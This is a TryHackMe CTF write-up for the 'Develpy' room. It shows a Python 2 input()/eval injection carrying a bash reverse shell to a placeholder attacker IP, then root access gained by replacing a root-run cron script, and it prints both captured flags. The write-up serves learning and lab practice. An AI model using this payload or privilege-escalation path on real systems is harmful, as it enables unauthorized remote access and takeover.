Skip to main content

Command Palette

Search for a command to run...

Develpy (CTF Challenge - THM)

Published
6 min read
Develpy (CTF Challenge - THM)

Introduction

Develpy is a beginner-friendly TryHackMe challenge that focuses on code injection and privilege escalation via cron job abuse. The attack surface starts with a custom Python 2 service running on port 10000 that exposes a dangerous use of input() — which in Python 2 implicitly calls eval() on user input, enabling remote code execution without any authentication. From there, privilege escalation is achieved by abusing a writable script that root executes every minute via cron.

Develpy

read user.txt and root.txt

Answer the questions below

Reconnaisance & Enumeration

nmap -sV -p- IP_Address

Not shown: 65533 closed ports
PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
10000/tcp open  snet-sensor-mgmt?

user.txt

  • With the help of Claude, learned that we had to run this command nc IP_Address 10000 and also start a netcat server at 4444 on another tab
nc IP_Address 10000

        Private 0days

 Please enther number of exploits to send??: __import__('os').system('bash -c "bash -i > /dev/tcp/ATTACKBOX_IP/4444 0>&1"')
bash: cannot set terminal process group (772): Inappropriate ioctl for device
bash: no job control in this shell
  • This way, we got our user flag.
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 39286
id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
whoami
king
ls -la
total 324
drwxr-xr-x 4 king king   4096 Aug 27  2019 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:05 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-r--r-- 1 root root     32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king    139 Aug 25  2019 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
cat user.txt
cf85ff769cfaaa721758949bf870b019

root.txt

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *	* * *	king	cd /home/king/ && bash run.sh
*  *	* * *	root	cd /home/king/ && bash root.sh
*  *	* * *	root	cd /root/company && bash run.sh
#
cat run.sh
#!/bin/bash
kill cat /home/king/.pid
socat TCP-LISTEN:10000,reuseaddr,fork EXEC:./exploit.py,pty,stderr,echo=0 &
echo $! > /home/king/.pid
crontab -l
strings credentials.png
IHDR
PLTE
tRNS
=Fc@
tEXtArtist
Mondrian\
tEXtCopyright
Mondrian
"gIDATx

entering date, then giving it some minute then go ahead and remove the root.sh file, then add to the script a line that will allow us to copy the root.txt from the root user to our current user king for us to access a copy of the root file that has the root flag

date
Fri Mar 27 12:31:38 PDT 2026
id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
ls -la
total 324
drwxr-xr-x 4 king king   4096 Aug 27  2019 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:33 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-r--r-- 1 root root     32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king    183 Mar 27 12:22 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
rm root.sh
echo 'cp /root/root.txt /home/king/root.txt' > root.sh
ls -la
total 328
drwxr-xr-x 4 king king   4096 Mar 27 12:35 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:37 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-rw-r-- 1 king king     38 Mar 27 12:34 root.sh
-rw-r--r-- 1 root root     33 Mar 27 12:37 root.txt
-rw-rw-r-- 1 king king    183 Mar 27 12:22 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
cat root.txt 
9c37646777a53910a347f387dce025ec

Conclusion

This challenge reinforced two important concepts:

  • Python 2 input() is eval() — unlike Python 3, Python 2's input() evaluates whatever the user sends as Python code before processing it. This makes it trivially exploitable for RCE (CWE-78). Always check the Python version when auditing input handling.

  • Cron job privilege escalation — when a high-privilege user (root) executes a script that a lower-privileged user can write to or replace, it creates a reliable privesc path. Enumerating /etc/crontab and checking file permissions on scripts referenced there should be a standard step in any post-exploitation checklist.

The root flag was obtained by replacing root.sh with a script that copied /root/root.txt to king's home directory, then waiting for the cron job to execute it as root.